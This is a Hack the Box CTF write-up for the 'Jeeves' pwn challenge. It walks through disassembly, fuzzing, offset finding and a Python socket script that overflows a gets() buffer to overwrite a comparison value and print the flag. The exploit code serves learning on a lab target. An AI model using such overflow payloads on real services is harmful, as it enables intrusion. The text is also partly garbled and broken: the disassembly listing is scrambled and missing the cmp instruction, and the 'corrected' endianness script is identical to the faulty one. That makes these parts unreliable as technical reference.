Jeeves (PWN) Writeup

Hack the Box

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Reverse Engineering the Binary

Before reverse engineering the program, let's take a look at what the program does normally.

```
kali@kali:~/Documents/CTF/HTB/Challenges/Pwn/Jeeves$ ./jeeves
Hello, good sir!
May I have your name? asdf
Hello asdf, hope you have a good day!
kali@kali:~/Documents/CTF/HTB/Challenges/Pwn/Jeeves$
```

The program prints a message asking for the user's name and then accepts input from the user. Once the input has been entered, another message is printed containing the user supplied input and the program terminates. Now that we know what it does normally, we have some context for when we disassembly the binary.

Disassembling the Binary Using GDB

```
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
  0x00000000000011e9 <+0>: endbr64
  0x0000000000011ed <+4>:
                             push rbp
                            mov rbp,rsp
  0x00000000000011ee <+5>:
                             sub rsp,0x40
  0x00000000000011f1 <+8>:
  0x00000000000011f5 <+12>:
                             mov DWORD PTR [rbp-0x4],0xdeadc0d3
                             lea rdi,[rip+0xe05] # 0x2008
mov eax,0x0
call 0x10a0 <printf@plt>
  0x00000000000011fc <+19>:
  0x0000000000001203 <+26>:
  0x0000000000001208 <+31>:
                             lea rax,[rbp-0x40]
mov rdi,rax
mov eax,0x0
call 0x10d0 <gets@plt>
  0x000000000000120d <+36>:
  0x0000000000001211 <+40>:
  0x0000000000001214 <+43>:
  0x0000000000001219 <+48>:
  0x000000000000121e <+53>:
                             lea rax,[rbp-0x40]
  0x0000000000001222 <+57>:
                             mov rsi,rax
  0x000000000001225 <+60>:
  0x00000000001225 <+60>: lea rdi,[rip+0xe04] # 0x2030
0x00000000000122c <+67>: mov eax,0x0
  0x0000000000001231 <+72>: call 0x10a0 <printf@plt>
  0x000000000000123d <+84>: jne 0x12a8 <main+191>
  0x000000000000123f <+86>: mov edi,0x100
  0x000000000001244 <+91>: call 0x10e0 <malloc@plt>
                             mov QWORD PTR [rbp-0x10],rax
  0x0000000000001249 <+96>:
  0x00000000000124d <+100>: mov esi,0x0
  0x000000000001252 <+105>: lea rdi,[rip+0xdfc]
                                                       # 0x2055
  0x000000000001259 <+112>: mov eax,0x0
  0x00000000000125e <+117>: call 0x10f0 <open@plt>
```

```
0x0000000000001263 <+122>:
                                     DWORD PTR [rbp-0x14],eax
                              mov
  0x0000000000001266 <+125>:
                                     rcx,QWORD PTR [rbp-0x10]
                              mov
  0x000000000000126a <+129>:
                                     eax, DWORD PTR [rbp-0x14]
                              mov
  0x000000000000126d <+132>:
                              mov
                                     edx,0x100
  0x0000000000001272 <+137>:
                              mov
                                     rsi,rcx
  0x0000000000001275 <+140>:
                              mov
                                     edi,eax
  0x0000000000001277 <+142>:
                              mov
                                     eax,0x0
                              call
  0x000000000000127c <+147>:
                                     0x10c0 <read@plt>
  0x000000000001281 <+152>:
                              mov
                                     rax,QWORD PTR [rbp-0x10]
  0x0000000000001285 <+156>:
                                     rsi,rax
  0x0000000000001288 <+159>:
                                     rdi,[rip+0xdd1]
                                                            # 0x2060
  0x000000000000128f <+166>:
                                     eax,0x0
  0x0000000000001294 <+171>:
                              call 0x10a0 <printf@plt>
  0x0000000000001299 <+176>:
                              mov
                                     eax, DWORD PTR [rbp-0x14]
  0x000000000000129c <+179>:
                              mov
                                     edi,eax
  0x000000000000129e <+181>:
                              mov
                                     eax,0x0
  0x00000000000012a3 <+186>:
                              call 0x10b0 <close@plt>
  0x00000000000012a8 <+191>:
                              mov
                                     eax,0x0
  0x00000000000012ad <+196>:
                              leave
  0x00000000000012ae <+197>:
                              ret
End of assembler dump.
(gdb)
```

With the disassembled binary, we can clearly see where the different events that occured when running the program are found in the code. At line <+31> we can see that a function call is made with the name printf which is a function that is part of the C stdio library that writes a provided string to standard output. Since this is the first occurrence of printf, we can assume that it prints the message that asks the user for their name. Following the call to printf, we have another call instruction on line <+48> to the function gets which is another function from the stdio library that gets gets a string from standard input. We can assume that this is where the user enters their name. Following this call instruction, we have another call to printf on line <+72>. Again, we can assume that this is the function call that reflects the user's input before the program is terminated. After the second call to printf, we see a compare instruction on line <+77> follower by a jump not equal instruction on line <+84>. The compare instruction is checking if the value that is four memory addresses behind the address the register base pointer (RBP) is pointing to is equal to x1337bab3. The following jump not equal instruction will jump to the instruction at 0x12a8 if the previous compare instruction determined the two values were not equal. The instruction the program is jumping to is the third last instruction in the disassembled main function. At this point, the program is simply doing cleanup and then terminates. Looking at the code that would execute if the jump does not occur, that is if the value at rbp-0x04 is equal to x1337bab3, we see three call instructions of note. The first is a call to the open function on line <+117>. This is a system call that is used to open a file. Following the open system call there is a call to the function read on line <+147>. This is another system call that reads the the contents of a file that has been previously opened. The last call instruction of note, is the call to printf. With the previous two instructions, we have reason to believe that this call to printf outputs the contents of the file that was previously read. That being said, this is only of use to us if the file being read is worth reading. In order to attempt to identify the file that is being read, we will use the tool strings to extract any readable text from the compiled binary.

Running strings Against the Compiled Binary

```
kali@kali:~/Documents/CTF/HTB/Challenges/Pwn/Jeeves$ strings jeeves
/lib64/ld-linux-x86-64.so.2
libc.so.6
gets
printf
read
malloc
close
Hello, good sir!
May I have your name?
Hello %s, hope you have a good day!
flag.txt
Pleased to make your acquaintance. Here's a small gift: %s
GCC: (Ubuntu 9.2.1-9ubuntu2) 9.2.1 20191008
crtstuff.c
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment
kali@kali:~/Documents/CTF/HTB/Challenges/Pwn/Jeeves$
```

The output from strings gives us two very useful pieces of information. The first is that in the compiled binary, we have a string containing flag.txt which is very clearly a file. This is most likely the only candidate to be read by the gets function as all the other strings resembling the name of a file are C files for various libraries. The second is the string immediately following flag.txt. This string is likely the output of the call to printf that occurs after the call to read. The reason why we can assume this is due to the %s found at the end of the string. %s is used in printf as a marker to indicate where to insert a string. Therefore, it is possible that the open and read system calls get the contents of the file flag.txt and then it is outputed in the call to printf.


Running the Program Through EDB


While we may have a hypothesis regarding the conditions required to output the flag, we still do not know how to manipulate the program such that those conditions occur. In order to further understand how we can manipulate the program into doing this, we will be running the program through Evan's Debugger. In order to help automate the exploitation process, we will be writing a Python script that will send the payload to the vulnerable binary hosted by Hack the Box. It is not a good idea to test our payloads against the live target due to the risk of it crashing. As a result, we need to setup a similar setup on our attacker machine in order to have accurate testing. To do this, we will pipe the output of a Netcat listener into the binary. Additionally, we will be disabling ASLR for the binary, just to make things a little simpler.

```
kali@kali:~/Documents/CTF/HTB/Challenges/Pwn/Jeeves$ nc -nvlp 31183 | setarch `uname -m` -R


→ ./jeeves
listening on [any] 31183 ...
Hello, good sir!
```


Next we will attach the debugger to the binary.





Now that it's attached, let's find the main function and set a breakpoint on the jump not equal instruction.





Setting up the Python Script

Now that we have EBD setup, let's start writing the Python script.

```
import socket
host = '127.0.0.1'
port = 31183
```

```
buffer = ''
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(buffer)
s.shutdown(socket.SHUT_WR)
print(s.recv(1024))
s.close()
```

Fuzzing the Program

Let's start by sending a buffer consisting of 200 A's and see if we can overflow a buffer.


```
import socket
host = '127.0.0.1'
port = 31183

buffer = b'A'*200

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
s.sendall(buffer)
s.shutdown(socket.SHUT_WR)
print(s.recv(1024))
s.close()
```

After running the script and pausing at the breakpoint we previously set, we can see the address RBP is pointing to has been overflowed with A's.




More importantly, we can see that the memory addresses before RBP have been overflowed as well. This means that we can overwrite rbp-0x04 as we saw in the cmp instruction before the j ne instruction in the disassembled binary.

Finding the Offset

In order to overwrite the data found at rbp-0x04, we will need to first determine how many A's we need to include before we reach that particular memory address. This number of A's is called the offset. To find the offset, we will be using $msf-pattern_create$. This will create a non-repeating pattern we can use in our buffer. After sending the buffer, we can read the contents at the desired memory address. Then we can submit that to $msf-pattern_offset$ and get back the offset.

Now that we have modified our script, we will attach EDB to the binary the same way as we did before and set a breakpoint at the j ne instruction. Once EDB is setup, we will run the Python script.





To keep things simple, we will be taking the contents of the memory address pointed to by rbp and not rbp-0x04. If we look at the registers panel, we can see the content of rbp is 0x00007fffffffded0. Looking at the memory contents at that address in the stack panel, we see it contains 0x3363413263413163. With this value, we can submit it to msf-pattern_offset and get the value of the offset.

```
kali@kali:~/Documents/CTF/HTB/Challenges/Pwn/Jeeves$ msf-pattern_offset -l 200 -q

→ 3363413263413163
[*] Exact match at offset 64
kali@kali:~/Documents/CTF/HTB/Challenges/Pwn/Jeeves$
```

With that, we now have the offset for rbp. That being said, we needed the offset for rbp-0x04, so our final offset is 60.

Writing the Final Exploit

All that is left now is to write the value found in the cmp instruction right after our offset.

```
import socket
host = '127.0.0.1'
port = 31183

padding = b'A'*60


cmp = b'\x13\x37\xba\xb3'

buffer = padding + cmp

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
s.sendall(buffer)
s.shutdown(socket.SHUT_WR)
print(s.recv(1024))
s.close()
```

Next we'll run the script and check that the memory has been properly written in EDB.



Looking at the contents of the stack, our offset is correct, but the order of the bytes is backwards. This is due to the endianness of the system. The solution to this program is to simply invert the order of the bytes in our payload.

```
import socket
host = '127.0.0.1'
port = 31183

padding = b'A'*60

cmp = b'\x13\x37\xba\xb3'

buffer = padding + cmp

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
s.sendall(buffer)
s.shutdown(socket.SHUT_WR)
print(s.recv(1024))
s.close()
```

Now when we run the script we get a different output.

We can also confirm that the payload was sent correctly by looking at the debugger.



All that is left is to change the host and port variable to the pair provided by Hack the Box and we will get the flag.

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